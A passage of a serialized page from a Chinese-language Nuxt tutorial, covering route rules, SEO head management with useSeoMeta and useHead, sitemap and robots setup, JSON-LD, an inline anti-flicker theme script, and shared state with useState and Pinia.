}",[84,12516,12517],{},"更细粒度的缓存控制",[63,12519,12520,12525,12531],{},[84,12521,12522],{},[22,12523,12524],{},"redirect",[84,12526,12527,12528],{},"string 或 ",[22,12529,12530],{},"{ to, code }",[84,12532,12533],{},"重定向（默认 301）",[63,12535,12536,12541,12543],{},[84,12537,12538],{},[22,12539,12540],{},"proxy",[84,12542,8909],{},[84,12544,12545],{},"反向代理（老站合并常用）",[63,12547,12548,12552,12554],{},[84,12549,12550],{},[22,12551,9047],{},[84,12553,9037],{},[84,12555,12556,12557,12560],{},"加响应头（",[22,12558,12559],{},"cache-control","、CSP）",[63,12562,12563,12568,12570],{},[84,12564,12565],{},[22,12566,12567],{},"cors",[84,12569,8922],{},[84,12571,12572],{},"允许跨域",[63,12574,12575,12580,12582],{},[84,12576,12577],{},[22,12578,12579],{},"static",[84,12581,8922],{},[84,12583,12584],{},"当静态文件处理",[63,12586,12587,12592,12594],{},[84,12588,12589],{},[22,12590,12591],{},"noIndex",[84,12593,8922],{},[84,12595,12596,12597],{},"响应加 ",[22,12598,12599],{},"x-robots-tag: noindex",[63,12601,12602,12607,12609],{},[84,12603,12604],{},[22,12605,12606],{},"payloadExtraction",[84,12608,8922],{},[84,12610,12611,12612,12614],{},"payload 拆成 ",[22,12613,4943],{},"（关了就内联进 HTML）",[48,12616,12618],{"id":12617},"十seo-与-head标题metasitemap结构化数据","十、SEO 与 head：标题、meta、sitemap、结构化数据",[11,12620,12621,12622,12625],{},"内容站的成败往往不在交互，而在「搜索引擎和分享卡片怎么看你」。Nuxt 把 ",[22,12623,12624],{},"\u003Chead>"," 管理做成了组合式函数，SSR 阶段就会写进 HTML——这正是静态站点也能拿 SEO 的原因。",[53,12627,12629,12630],{"id":12628},"标题与描述useseometa","标题与描述：",[22,12631,12632],{},"useSeoMeta",[308,12634,12636],{"className":5996,"code":12635,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nconst page = \u002F* … 取到的文档 … *\u002F\n\nuseSeoMeta({\n  title: page.title,                        \u002F\u002F 浏览器标签与搜索结果标题\n  description: page.description,            \u002F\u002F 搜索结果里的摘要\n  ogTitle: page.title,                      \u002F\u002F 社交平台卡片\n  ogDescription: page.description,\n  ogImage: '\u002Fimg\u002F' + page.category + '-cover.svg',\n  ogType: 'article',\n  twitterCard: 'summary_large_image',\n  robots: 'index, follow'\n})\n\n\u002F\u002F 需要更底层控制（link、script、html 属性）时用 useHead\nuseHead({\n  link: [{ rel: 'canonical', href: 'https:\u002F\u002Fyour-site.com\u002Ftutorials\u002Fvue3' }],\n  htmlAttrs: { lang: 'zh-CN' },\n  script: [{ src: 'https:\u002F\u002F…', defer: true }]\n})\n\u003C\u002Fscript>\n",[22,12637,12638,12648,12660,12664,12670,12678,12686,12694,12699,12720,12730,12740,12748,12752,12756,12761,12767,12784,12794,12810,12814],{"__ignoreMap":314},[331,12639,12640,12642,12644,12646],{"class":333,"line":334},[331,12641,510],{"class":337},[331,12643,891],{"class":497},[331,12645,6299],{"class":501},[331,12647,505],{"class":337},[331,12649,12650,12652,12655,12657],{"class":333,"line":341},[331,12651,951],{"class":616},[331,12653,12654],{"class":344}," page",[331,12656,957],{"class":616},[331,12658,12659],{"class":1003}," \u002F* … 取到的文档 … *\u002F\n",[331,12661,12662],{"class":333,"line":357},[331,12663,998],{"emptyLinePlaceholder":997},[331,12665,12666,12668],{"class":333,"line":371},[331,12667,12632],{"class":501},[331,12669,1250],{"class":337},[331,12671,12672,12675],{"class":333,"line":384},[331,12673,12674],{"class":337},"  title: page.title,                        ",[331,12676,12677],{"class":1003},"\u002F\u002F 浏览器标签与搜索结果标题\n",[331,12679,12680,12683],{"class":333,"line":397},[331,12681,12682],{"class":337},"  description: page.description,            ",[331,12684,12685],{"class":1003},"\u002F\u002F 搜索结果里的摘要\n",[331,12687,12688,12691],{"class":333,"line":418},[331,12689,12690],{"class":337},"  ogTitle: page.title,                      ",[331,12692,12693],{"class":1003},"\u002F\u002F 社交平台卡片\n",[331,12695,12696],{"class":333,"line":427},[331,12697,12698],{"class":337},"  ogDescription: page.description,\n",[331,12700,12701,12704,12707,12709,12712,12715,12718],{"class":333,"line":439},[331,12702,12703],{"class":337},"  ogImage: ",[331,12705,12706],{"class":365},"'\u002Fimg\u002F'",[331,12708,6321],{"class":616},[331,12710,12711],{"class":337}," page.category ",[331,12713,12714],{"class":616},"+",[331,12716,12717],{"class":365}," '-cover.svg'",[331,12719,354],{"class":337},[331,12721,12722,12725,12728],{"class":333,"line":450},[331,12723,12724],{"class":337},"  ogType: ",[331,12726,12727],{"class":365},"'article'",[331,12729,354],{"class":337},[331,12731,12732,12735,12738],{"class":333,"line":456},[331,12733,12734],{"class":337},"  twitterCard: ",[331,12736,12737],{"class":365},"'summary_large_image'",[331,12739,354],{"class":337},[331,12741,12742,12745],{"class":333,"line":775},[331,12743,12744],{"class":337},"  robots: ",[331,12746,12747],{"class":365},"'index, follow'\n",[331,12749,12750],{"class":333,"line":785},[331,12751,5399],{"class":337},[331,12753,12754],{"class":333,"line":795},[331,12755,998],{"emptyLinePlaceholder":997},[331,12757,12758],{"class":333,"line":805},[331,12759,12760],{"class":1003},"\u002F\u002F 需要更底层控制（link、script、html 属性）时用 useHead\n",[331,12762,12763,12765],{"class":333,"line":819},[331,12764,5488],{"class":501},[331,12766,1250],{"class":337},[331,12768,12769,12772,12775,12778,12781],{"class":333,"line":850},[331,12770,12771],{"class":337},"  link: [{ rel: ",[331,12773,12774],{"class":365},"'canonical'",[331,12776,12777],{"class":337},", href: ",[331,12779,12780],{"class":365},"'https:\u002F\u002Fyour-site.com\u002Ftutorials\u002Fvue3'",[331,12782,12783],{"class":337}," }],\n",[331,12785,12786,12789,12792],{"class":333,"line":886},[331,12787,12788],{"class":337},"  htmlAttrs: { lang: ",[331,12790,12791],{"class":365},"'zh-CN'",[331,12793,5251],{"class":337},[331,12795,12796,12799,12802,12805,12807],{"class":333,"line":909},[331,12797,12798],{"class":337},"  script: [{ src: ",[331,12800,12801],{"class":365},"'https:\u002F\u002F…'",[331,12803,12804],{"class":337},", defer: ",[331,12806,1131],{"class":344},[331,12808,12809],{"class":337}," }]\n",[331,12811,12812],{"class":333,"line":918},[331,12813,5399],{"class":337},[331,12815,12816,12818,12820],{"class":333,"line":1232},[331,12817,788],{"class":337},[331,12819,891],{"class":497},[331,12821,505],{"class":337},[11,12823,12824,5160,12826,12828,12829,655,12831,12834,12835,272,12838,272,12841,5160,12844,4813,12847,12852,12853,161],{},[22,12825,12632],{},[22,12827,5488],{}," 的关系：前者是后者的语义化包装（自动把 ",[22,12830,581],{},[22,12832,12833],{},"description"," 写成对应的 ",[22,12836,12837],{},"\u003Ctitle>",[22,12839,12840],{},"\u003Cmeta name=\"description\">",[22,12842,12843],{},"og:",[22,12845,12846],{},"twitter:",[17,12848,12849,12850],{},"优先用 ",[22,12851,12632],{},"，写不出来的字段再回 ",[22,12854,5488],{},[53,12856,12858,12859,12861],{"id":12857},"全站默认值放在-appvue-或配置里","全站默认值放在 ",[22,12860,7439],{}," 或配置里",[308,12863,12865],{"className":5205,"code":12864,"language":5207,"meta":314,"style":314},"export default defineNuxtConfig({\n  app: {\n    head: {\n      charset: 'utf-8',\n      viewport: 'width=device-width, initial-scale=1',\n      link: [{ rel: 'icon', href: '\u002Ffavicon.ico' }],\n      meta: [{ name: 'theme-color', content: '#0969da' }]\n    }\n  },\n  site: {\n    url: 'https:\u002F\u002Fyour-site.com',    \u002F\u002F 绝对地址的基准：sitemap \u002F og:url \u002F JSON-LD 都读它\n    name: '站名'\n  }\n})\n",[22,12866,12867,12877,12882,12887,12897,12907,12922,12938,12942,12946,12951,12965,12973,12977],{"__ignoreMap":314},[331,12868,12869,12871,12873,12875],{"class":333,"line":334},[331,12870,5219],{"class":616},[331,12872,5222],{"class":616},[331,12874,5225],{"class":501},[331,12876,1250],{"class":337},[331,12878,12879],{"class":333,"line":341},[331,12880,12881],{"class":337},"  app: {\n",[331,12883,12884],{"class":333,"line":357},[331,12885,12886],{"class":337},"    head: {\n",[331,12888,12889,12892,12895],{"class":333,"line":371},[331,12890,12891],{"class":337},"      charset: ",[331,12893,12894],{"class":365},"'utf-8'",[331,12896,354],{"class":337},[331,12898,12899,12902,12905],{"class":333,"line":384},[331,12900,12901],{"class":337},"      viewport: ",[331,12903,12904],{"class":365},"'width=device-width, initial-scale=1'",[331,12906,354],{"class":337},[331,12908,12909,12912,12915,12917,12920],{"class":333,"line":397},[331,12910,12911],{"class":337},"      link: [{ rel: ",[331,12913,12914],{"class":365},"'icon'",[331,12916,12777],{"class":337},[331,12918,12919],{"class":365},"'\u002Ffavicon.ico'",[331,12921,12783],{"class":337},[331,12923,12924,12927,12930,12933,12936],{"class":333,"line":418},[331,12925,12926],{"class":337},"      meta: [{ name: ",[331,12928,12929],{"class":365},"'theme-color'",[331,12931,12932],{"class":337},", content: ",[331,12934,12935],{"class":365},"'#0969da'",[331,12937,12809],{"class":337},[331,12939,12940],{"class":333,"line":427},[331,12941,1229],{"class":337},[331,12943,12944],{"class":333,"line":439},[331,12945,2916],{"class":337},[331,12947,12948],{"class":333,"line":450},[331,12949,12950],{"class":337},"  site: {\n",[331,12952,12953,12956,12959,12962],{"class":333,"line":456},[331,12954,12955],{"class":337},"    url: ",[331,12957,12958],{"class":365},"'https:\u002F\u002Fyour-site.com'",[331,12960,12961],{"class":337},",    ",[331,12963,12964],{"class":1003},"\u002F\u002F 绝对地址的基准：sitemap \u002F og:url \u002F JSON-LD 都读它\n",[331,12966,12967,12970],{"class":333,"line":775},[331,12968,12969],{"class":337},"    name: ",[331,12971,12972],{"class":365},"'站名'\n",[331,12974,12975],{"class":333,"line":785},[331,12976,453],{"class":337},[331,12978,12979],{"class":333,"line":795},[331,12980,5399],{"class":337},[11,12982,12983,12986,12987,12993,12994,12997,12998,13000],{},[22,12984,12985],{},"site.url"," 是最容易被遗忘的一项：",[17,12988,12989,12990],{},"默认值是 ",[22,12991,12992],{},"http:\u002F\u002Flocalhost:3000","，忘记改就会生成一份全是本地地址的 sitemap，且 ",[22,12995,12996],{},"og:url"," 也错（本站在 ",[22,12999,4590],{}," 里给它写了显眼注释）。",[53,13002,13004],{"id":13003},"sitemap-与-robots","sitemap 与 robots",[308,13006,13008],{"className":3902,"code":13007,"language":3904,"meta":314,"style":314},"npm install @nuxtjs\u002Fsitemap\n",[22,13009,13010],{"__ignoreMap":314},[331,13011,13012,13014,13017],{"class":333,"line":334},[331,13013,4989],{"class":501},[331,13015,13016],{"class":365}," install",[331,13018,13019],{"class":365}," @nuxtjs\u002Fsitemap\n",[308,13021,13023],{"className":5205,"code":13022,"language":5207,"meta":314,"style":314},"export default defineNuxtConfig({\n  modules: ['@nuxtjs\u002Fsitemap'],\n  site: { url: 'https:\u002F\u002Fyour-site.com' },\n  sitemap: {\n    autoLastmod: true,\n    exclude: ['\u002Fadmin\u002F**', '\u002Fprivate\u002F**', '\u002Ftools\u002F**?*_=*']\n  }\n})\n",[22,13024,13025,13035,13043,13051,13056,13065,13085,13089],{"__ignoreMap":314},[331,13026,13027,13029,13031,13033],{"class":333,"line":334},[331,13028,5219],{"class":616},[331,13030,5222],{"class":616},[331,13032,5225],{"class":501},[331,13034,1250],{"class":337},[331,13036,13037,13039,13041],{"class":333,"line":341},[331,13038,5277],{"class":337},[331,13040,5285],{"class":365},[331,13042,415],{"class":337},[331,13044,13045,13047,13049],{"class":333,"line":357},[331,13046,5379],{"class":337},[331,13048,12958],{"class":365},[331,13050,5251],{"class":337},[331,13052,13053],{"class":333,"line":371},[331,13054,13055],{"class":337},"  sitemap: {\n",[331,13057,13058,13061,13063],{"class":333,"line":384},[331,13059,13060],{"class":337},"    autoLastmod: ",[331,13062,1131],{"class":344},[331,13064,354],{"class":337},[331,13066,13067,13070,13073,13075,13078,13080,13083],{"class":333,"line":397},[331,13068,13069],{"class":337},"    exclude: [",[331,13071,13072],{"class":365},"'\u002Fadmin\u002F**'",[331,13074,409],{"class":337},[331,13076,13077],{"class":365},"'\u002Fprivate\u002F**'",[331,13079,409],{"class":337},[331,13081,13082],{"class":365},"'\u002Ftools\u002F**?*_=*'",[331,13084,1268],{"class":337},[331,13086,13087],{"class":333,"line":418},[331,13088,453],{"class":337},[331,13090,13091],{"class":333,"line":427},[331,13092,5399],{"class":337},[11,13094,13095,13098,13099,13102,13103,13105,13106,13109,13110,13117],{},[22,13096,13097],{},"robots.txt"," 建议直接放 ",[22,13100,13101],{},"public\u002Frobots.txt","（静态、零成本）。要按环境屏蔽预发站，就在 ",[22,13104,13101],{}," 里写 ",[22,13107,13108],{},"Disallow: \u002F","，或用中间件在预发域名返回不同内容——",[17,13111,13112,13113,13116],{},"别依赖 ",[22,13114,13115],{},"\u003Cmeta name=\"robots\">"," 拦已泄露的 URL","，它要求页面能被访问到才生效。",[53,13119,13121],{"id":13120},"结构化数据json-ld","结构化数据（JSON-LD）",[308,13123,13125],{"className":5996,"code":13124,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nuseHead({\n  script: [{\n    type: 'application\u002Fld+json',\n    innerHTML: JSON.stringify({\n      '@context': 'https:\u002F\u002Fschema.org',\n      '@type': 'TechArticle',\n      headline: page.title,\n      datePublished: page.date,\n      author: { '@type': 'Organization', name: '码上智能' }\n    })\n  }]\n})\n\u003C\u002Fscript>\n",[22,13126,13127,13137,13143,13148,13158,13173,13185,13197,13202,13207,13226,13230,13235,13239],{"__ignoreMap":314},[331,13128,13129,13131,13133,13135],{"class":333,"line":334},[331,13130,510],{"class":337},[331,13132,891],{"class":497},[331,13134,6299],{"class":501},[331,13136,505],{"class":337},[331,13138,13139,13141],{"class":333,"line":341},[331,13140,5488],{"class":501},[331,13142,1250],{"class":337},[331,13144,13145],{"class":333,"line":357},[331,13146,13147],{"class":337},"  script: [{\n",[331,13149,13150,13153,13156],{"class":333,"line":371},[331,13151,13152],{"class":337},"    type: ",[331,13154,13155],{"class":365},"'application\u002Fld+json'",[331,13157,354],{"class":337},[331,13159,13160,13163,13166,13168,13171],{"class":333,"line":384},[331,13161,13162],{"class":337},"    innerHTML: ",[331,13164,13165],{"class":344},"JSON",[331,13167,1192],{"class":337},[331,13169,13170],{"class":501},"stringify",[331,13172,1250],{"class":337},[331,13174,13175,13178,13180,13183],{"class":333,"line":397},[331,13176,13177],{"class":365},"      '@context'",[331,13179,348],{"class":337},[331,13181,13182],{"class":365},"'https:\u002F\u002Fschema.org'",[331,13184,354],{"class":337},[331,13186,13187,13190,13192,13195],{"class":333,"line":418},[331,13188,13189],{"class":365},"      '@type'",[331,13191,348],{"class":337},[331,13193,13194],{"class":365},"'TechArticle'",[331,13196,354],{"class":337},[331,13198,13199],{"class":333,"line":427},[331,13200,13201],{"class":337},"      headline: page.title,\n",[331,13203,13204],{"class":333,"line":439},[331,13205,13206],{"class":337},"      datePublished: page.date,\n",[331,13208,13209,13212,13215,13217,13220,13222,13224],{"class":333,"line":450},[331,13210,13211],{"class":337},"      author: { ",[331,13213,13214],{"class":365},"'@type'",[331,13216,348],{"class":337},[331,13218,13219],{"class":365},"'Organization'",[331,13221,5385],{"class":337},[331,13223,11227],{"class":365},[331,13225,9413],{"class":337},[331,13227,13228],{"class":333,"line":456},[331,13229,1274],{"class":337},[331,13231,13232],{"class":333,"line":775},[331,13233,13234],{"class":337},"  }]\n",[331,13236,13237],{"class":333,"line":785},[331,13238,5399],{"class":337},[331,13240,13241,13243,13245],{"class":333,"line":795},[331,13242,788],{"class":337},[331,13244,891],{"class":497},[331,13246,505],{"class":337},[11,13248,13249,13251,13252,13255,13256,13259],{},[22,13250,3770],{}," 一定要 ",[22,13253,13254],{},"JSON.stringify","（对象直接传会被转成 ",[22,13257,13258],{},"[object Object]","）。上线前拿 Google 的「富媒体测试」和「网址检查」各跑一次，比自查有效。",[53,13261,13263],{"id":13262},"防主题闪烁一段内联脚本","防主题闪烁：一段内联脚本",[11,13265,13266,13267,13270,13271,13273,13274,13277,13278,322],{},"有暗色模式的站点会遇到 FOUC：预渲染的 HTML 里没有 ",[22,13268,13269],{},"data-theme","，暗色用户先看到一帧亮色。标准解法是在 ",[22,13272,12624],{}," 里放一段",[17,13275,13276],{},"内联同步脚本","，早于首次绘制把主题写进 ",[22,13279,13280],{},"\u003Chtml>",[308,13282,13284],{"className":5996,"code":13283,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nuseHead({\n  script: [{\n    tagPosition: 'head',\n    innerHTML: `(function(){try{var t=localStorage.getItem('site-theme');` +\n      `if(t!=='dark'&&t!=='light'){t=matchMedia&&matchMedia('(prefers-color-scheme: dark)').matches?'dark':'light';}` +\n      `document.documentElement.setAttribute('data-theme',t);}catch(e){}})();`\n  }]\n})\n\u003C\u002Fscript>\n",[22,13285,13286,13296,13302,13306,13316,13326,13333,13338,13342,13346],{"__ignoreMap":314},[331,13287,13288,13290,13292,13294],{"class":333,"line":334},[331,13289,510],{"class":337},[331,13291,891],{"class":497},[331,13293,6299],{"class":501},[331,13295,505],{"class":337},[331,13297,13298,13300],{"class":333,"line":341},[331,13299,5488],{"class":501},[331,13301,1250],{"class":337},[331,13303,13304],{"class":333,"line":357},[331,13305,13147],{"class":337},[331,13307,13308,13311,13314],{"class":333,"line":371},[331,13309,13310],{"class":337},"    tagPosition: ",[331,13312,13313],{"class":365},"'head'",[331,13315,354],{"class":337},[331,13317,13318,13320,13323],{"class":333,"line":384},[331,13319,13162],{"class":337},[331,13321,13322],{"class":365},"`(function(){try{var t=localStorage.getItem('site-theme');`",[331,13324,13325],{"class":616}," +\n",[331,13327,13328,13331],{"class":333,"line":397},[331,13329,13330],{"class":365},"      `if(t!=='dark'&&t!=='light'){t=matchMedia&&matchMedia('(prefers-color-scheme: dark)').matches?'dark':'light';}`",[331,13332,13325],{"class":616},[331,13334,13335],{"class":333,"line":418},[331,13336,13337],{"class":365},"      `document.documentElement.setAttribute('data-theme',t);}catch(e){}})();`\n",[331,13339,13340],{"class":333,"line":427},[331,13341,13234],{"class":337},[331,13343,13344],{"class":333,"line":439},[331,13345,5399],{"class":337},[331,13347,13348,13350,13352],{"class":333,"line":450},[331,13349,788],{"class":337},[331,13351,891],{"class":497},[331,13353,505],{"class":337},[11,13355,13356,13357,13359,13360,13365],{},"这段是本站 ",[22,13358,6961],{}," 里真实在用的代码。要点：",[17,13361,13362,13363],{},"必须在 head、必须内联、必须 ",[22,13364,9434],{},"（隐私模式读 localStorage 会抛）。",[53,13367,4796],{"id":13368},"️-本章的坑-9",[11,13370,13371,13376,13377,655,13379,13381],{},[17,13372,8723,13373,13375],{},[22,13374,12632],{}," 写在异步分支里。"," 它必须在 setup 同步执行期调用。放进 ",[22,13378,11541],{},[22,13380,6734],{}," 里，SSR 出的 HTML 就没有这个 meta（客户端才补上，爬虫看不到）。",[11,13383,13384,13387,13388,13391,13392,13395],{},[17,13385,13386],{},"2. 动态标题依赖客户端数据。"," 正确顺序是：",[22,13389,13390],{},"await useFetch()"," 拿到数据 → 立刻 ",[22,13393,13394],{},"useSeoMeta({ title: data.title })","。数据没在服务端取到，标题就只能是默认值。",[11,13397,13398,13403,13404,13407,13408,13411],{},[17,13399,6665,13400,13402],{},[22,13401,12985],{}," 忘了改。"," 生成的是 ",[22,13405,13406],{},"localhost"," 的绝对地址（本章「全站默认值」那节的 ",[22,13409,13410],{},"site"," 配置就是它）。",[11,13413,13414,13420,13421,322,13424,13427,13428,13430],{},[17,13415,7689,13416,13419],{},[22,13417,13418],{},"og:image"," 用了相对路径。"," 平台抓卡片时不会拼你的域名，必须给",[17,13422,13423],{},"绝对 URL",[22,13425,13426],{},"useSeoMeta({ ogImage: config.siteUrl + cover })"," 或让 ",[22,13429,12985],{}," 帮你补全（新版本会补，但要实测确认，别赌）。",[11,13432,13433,268,13436,13438],{},[17,13434,13435],{},"5. 预渲染页面的 meta 被固化。",[22,13437,12235],{}," 时每个页面各算各的 head，运行时改不了。若 meta 依赖「当前用户」，这类页面就不该预渲染。",[11,13440,13441,13444,13445,13447,13448,13450,13451,13453],{},[17,13442,13443],{},"6. 同一 key 的 head 重复注入。"," 在循环\u002F子组件里调用 ",[22,13446,5488],{}," 会产生多个 ",[22,13449,12837],{},"。全站级的写在 ",[22,13452,7439],{},"，页面级的写在页面里。",[11,13455,13456,13462,13463,161],{},[17,13457,13458,13459,13461],{},"7. 用 ",[22,13460,7850],{}," 包住正文。"," 屏蔽闪烁的目的若是「不让爬虫看到」，那 SEO 目标就同时落空了。正文要 SSR，只把「依赖浏览器环境的按钮\u002F图表」放进 ",[22,13464,7850],{},[11,13466,13467,13470,13471,13474,13475,13478,13479,161],{},[17,13468,13469],{},"8. robots 与 noindex 打架。"," 网关加了 ",[22,13472,13473],{},"X-Robots-Tag: noindex","，页面 meta 却写 ",[22,13476,13477],{},"index","——头信息优先。排查索引问题先看 ",[22,13480,12407],{},[53,13482,13484],{"id":13483},"附head-相关-api","附：head 相关 API",[57,13486,13487,13496],{},[60,13488,13489],{},[63,13490,13491,13494],{},[66,13492,13493],{},"API",[66,13495,1875],{},[79,13497,13498,13508,13518,13528,13543,13554],{},[63,13499,13500,13505],{},[84,13501,13502],{},[22,13503,13504],{},"useHead(input)",[84,13506,13507],{},"任意 head 标签（link\u002Fscript\u002Fstyle\u002FhtmlAttrs）",[63,13509,13510,13515],{},[84,13511,13512],{},[22,13513,13514],{},"useSeoMeta(input)",[84,13516,13517],{},"title\u002Fdescription\u002Fog\u002Ftwitter 的语义化写法",[63,13519,13520,13525],{},[84,13521,13522],{},[22,13523,13524],{},"useServerSeoMeta",[84,13526,13527],{},"同上，但明确只在服务端输出（减小客户端体积）",[63,13529,13530,13540],{},[84,13531,13532,1901,13535,4839,13537,13539],{},[22,13533,13534],{},"setHead",[22,13536,530],{},[22,13538,7439],{}," 里）",[84,13541,13542],{},"全站默认",[63,13544,13545,13551],{},[84,13546,13547,4809,13549],{},[22,13548,10886],{},[22,13550,12509],{},[84,13552,13553],{},"让带 meta 的 HTML 也进缓存",[63,13555,13556,13561],{},[84,13557,13558],{},[22,13559,13560],{},"useRequestURL()",[84,13562,13563],{},"拿到当前请求的绝对 URL（canonical \u002F og:url 用）",[48,13565,13567,13568,13570],{"id":13566},"十一状态共享usestate-与-pinia","十一、状态共享：",[22,13569,5497],{}," 与 Pinia",[11,13572,13573,13574,13577],{},"《Vue 3 教程》第十五章讲了 Pinia 本身；这里只讲",[17,13575,13576],{},"在 Nuxt 里用它的三件额外事","，以及一个 Nuxt 特有的轻量替代品。",[53,13579,13581,13582,13584],{"id":13580},"先试-usestatessr-安全的极简共享状态","先试 ",[22,13583,5497],{},"：SSR 安全的极简共享状态",[308,13586,13588],{"className":5205,"code":13587,"language":5207,"meta":314,"style":314},"\u002F\u002F 任意组件\u002F组合式函数里\nconst panel = useState('side-panel', () => ({ open: false, tab: 'toc' }))\npanel.value.open = true      \u002F\u002F 全站共享，且服务端每次请求各自一份（不会串号）\n",[22,13589,13590,13595,13630],{"__ignoreMap":314},[331,13591,13592],{"class":333,"line":334},[331,13593,13594],{"class":1003},"\u002F\u002F 任意组件\u002F组合式函数里\n",[331,13596,13597,13599,13602,13604,13607,13609,13612,13614,13616,13619,13621,13624,13627],{"class":333,"line":341},[331,13598,951],{"class":616},[331,13600,13601],{"class":344}," panel",[331,13603,957],{"class":616},[331,13605,13606],{"class":501}," useState",[331,13608,966],{"class":337},[331,13610,13611],{"class":365},"'side-panel'",[331,13613,8322],{"class":337},[331,13615,1489],{"class":616},[331,13617,13618],{"class":337}," ({ open: ",[331,13620,3193],{"class":344},[331,13622,13623],{"class":337},", tab: ",[331,13625,13626],{"class":365},"'toc'",[331,13628,13629],{"class":337}," }))\n",[331,13631,13632,13635,13637,13640],{"class":333,"line":357},[331,13633,13634],{"class":337},"panel.value.open ",[331,13636,518],{"class":616},[331,13638,13639],{"class":344}," true",[331,13641,13642],{"class":1003},"      \u002F\u002F 全站共享，且服务端每次请求各自一份（不会串号）\n",[11,13644,13645,13647,13648,13651],{},[22,13646,5497],{}," 的数据会进 payload：服务端写的值，客户端水合时直接复用，不重复请求。",[17,13649,13650],{},"它适合「一次会话内的界面状态」","：侧栏开合、当前筛选、向导步骤。不适合需要 getter\u002Faction\u002Fdevtools 的复杂逻辑。",[11,13653,13654,13655,13658,13659,13662,13663,13665,13666,13669],{},"三条限制要清楚：值必须",[17,13656,13657],{},"可序列化","（不能存函数、DOM 引用、类实例）；key 是全局的（",[17,13660,13661],{},"撞 key 就撞数据","）；它不是持久化，刷新就没了（要落盘自己配 ",[22,13664,5460],{}," + localStorage，Vue 教程第十三章的 ",[22,13667,13668],{},"useLocalStorage"," 正合适）。",[53,13671,13673],{"id":13672},"pinia装进-nuxt-的三步","Pinia：装进 Nuxt 的三步",[308,13675,13677],{"className":3902,"code":13676,"language":3904,"meta":314,"style":314},"npm install pinia @pinia\u002Fnuxt\n",[22,13678,13679],{"__ignoreMap":314},[331,13680,13681,13683,13685,13688],{"class":333,"line":334},[331,13682,4989],{"class":501},[331,13684,13016],{"class":365},[331,13686,13687],{"class":365}," pinia",[331,13689,13690],{"class":365}," @pinia\u002Fnuxt\n",[308,13692,13694],{"className":5205,"code":13693,"language":5207,"meta":314,"style":314},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({ modules: ['@pinia\u002Fnuxt'] })\n",[22,13695,13696,13700],{"__ignoreMap":314},[331,13697,13698],{"class":333,"line":334},[331,13699,5214],{"class":1003},[331,13701,13702,13704,13706,13708,13711,13714],{"class":333,"line":341},[331,13703,5219],{"class":616},[331,13705,5222],{"class":616},[331,13707,5225],{"class":501},[331,13709,13710],{"class":337},"({ modules: [",[331,13712,13713],{"class":365},"'@pinia\u002Fnuxt'",[331,13715,8007],{"class":337},[308,13717,13719],{"className":5205,"code":13718,"language":5207,"meta":314,"style":314},"\u002F\u002F app\u002Fstores\u002Fuser.ts   —— 与《Vue 3 教程》第十五章完全同构\nimport { defineStore } from 'pinia'\n\nexport const useUserStore = defineStore('user', () => {\n  const profile = ref(null)\n  const isLoggedIn = computed(() => !!profile.value)\n\n  async function load() {\n    profile.value = await $fetch('\u002Fapi\u002Fme')        \u002F\u002F SSR 阶段也会执行\n  }\n  function logout() { profile.value = null }\n  return { profile, isLoggedIn, load, logout }\n})\n",[22,13720,13721,13726,13739,13743,13769,13787,13809,13813,13825,13846,13850,13868,13875],{"__ignoreMap":314},[331,13722,13723],{"class":333,"line":334},[331,13724,13725],{"class":1003},"\u002F\u002F app\u002Fstores\u002Fuser.ts   —— 与《Vue 3 教程》第十五章完全同构\n",[331,13727,13728,13730,13733,13736],{"class":333,"line":341},[331,13729,4648],{"class":616},[331,13731,13732],{"class":337}," { defineStore } ",[331,13734,13735],{"class":616},"from",[331,13737,13738],{"class":365}," 'pinia'\n",[331,13740,13741],{"class":333,"line":357},[331,13742,998],{"emptyLinePlaceholder":997},[331,13744,13745,13747,13750,13753,13755,13758,13760,13763,13765,13767],{"class":333,"line":371},[331,13746,5219],{"class":616},[331,13748,13749],{"class":616}," const",[331,13751,13752],{"class":344}," useUserStore",[331,13754,957],{"class":616},[331,13756,13757],{"class":501}," defineStore",[331,13759,966],{"class":337},[331,13761,13762],{"class":365},"'user'",[331,13764,8322],{"class":337},[331,13766,1489],{"class":616},[331,13768,1100],{"class":337},[331,13770,13771,13773,13776,13778,13781,13783,13785],{"class":333,"line":384},[331,13772,1496],{"class":616},[331,13774,13775],{"class":344}," profile",[331,13777,957],{"class":616},[331,13779,13780],{"class":501}," ref",[331,13782,966],{"class":337},[331,13784,5858],{"class":344},[331,13786,972],{"class":337},[331,13788,13789,13791,13794,13796,13799,13801,13803,13806],{"class":333,"line":397},[331,13790,1496],{"class":616},[331,13792,13793],{"class":344}," isLoggedIn",[331,13795,957],{"class":616},[331,13797,13798],{"class":501}," computed",[331,13800,1486],{"class":337},[331,13802,1489],{"class":616},[331,13804,13805],{"class":616}," !!",[331,13807,13808],{"class":337},"profile.value)\n",[331,13810,13811],{"class":333,"line":418},[331,13812,998],{"emptyLinePlaceholder":997},[331,13814,13815,13818,13820,13823],{"class":333,"line":427},[331,13816,13817],{"class":616},"  async",[331,13819,1066],{"class":616},[331,13821,13822],{"class":501}," load",[331,13824,1072],{"class":337},[331,13826,13827,13830,13832,13834,13836,13838,13840,13843],{"class":333,"line":439},[331,13828,13829],{"class":337},"    profile.value ",[331,13831,518],{"class":616},[331,13833,1119],{"class":616},[331,13835,8327],{"class":501},[331,13837,966],{"class":337},[331,13839,8466],{"class":365},[331,13841,13842],{"class":337},")        ",[331,13844,13845],{"class":1003},"\u002F\u002F SSR 阶段也会执行\n",[331,13847,13848],{"class":333,"line":450},[331,13849,453],{"class":337},[331,13851,13852,13855,13858,13861,13863,13866],{"class":333,"line":456},[331,13853,13854],{"class":616},"  function",[331,13856,13857],{"class":501}," logout",[331,13859,13860],{"class":337},"() { profile.value ",[331,13862,518],{"class":616},[331,13864,13865],{"class":344}," null",[331,13867,9413],{"class":337},[331,13869,13870,13872],{"class":333,"line":775},[331,13871,1633],{"class":616},[331,13873,13874],{"class":337}," { profile, isLoggedIn, load, logout }\n",[331,13876,13877],{"class":333,"line":785},[331,13878,5399],{"class":337},[308,13880,13882],{"className":5996,"code":13881,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nconst user = useUserStore()\nawait user.load()          \u002F\u002F 想让它进 SSR HTML 就在 setup 顶层 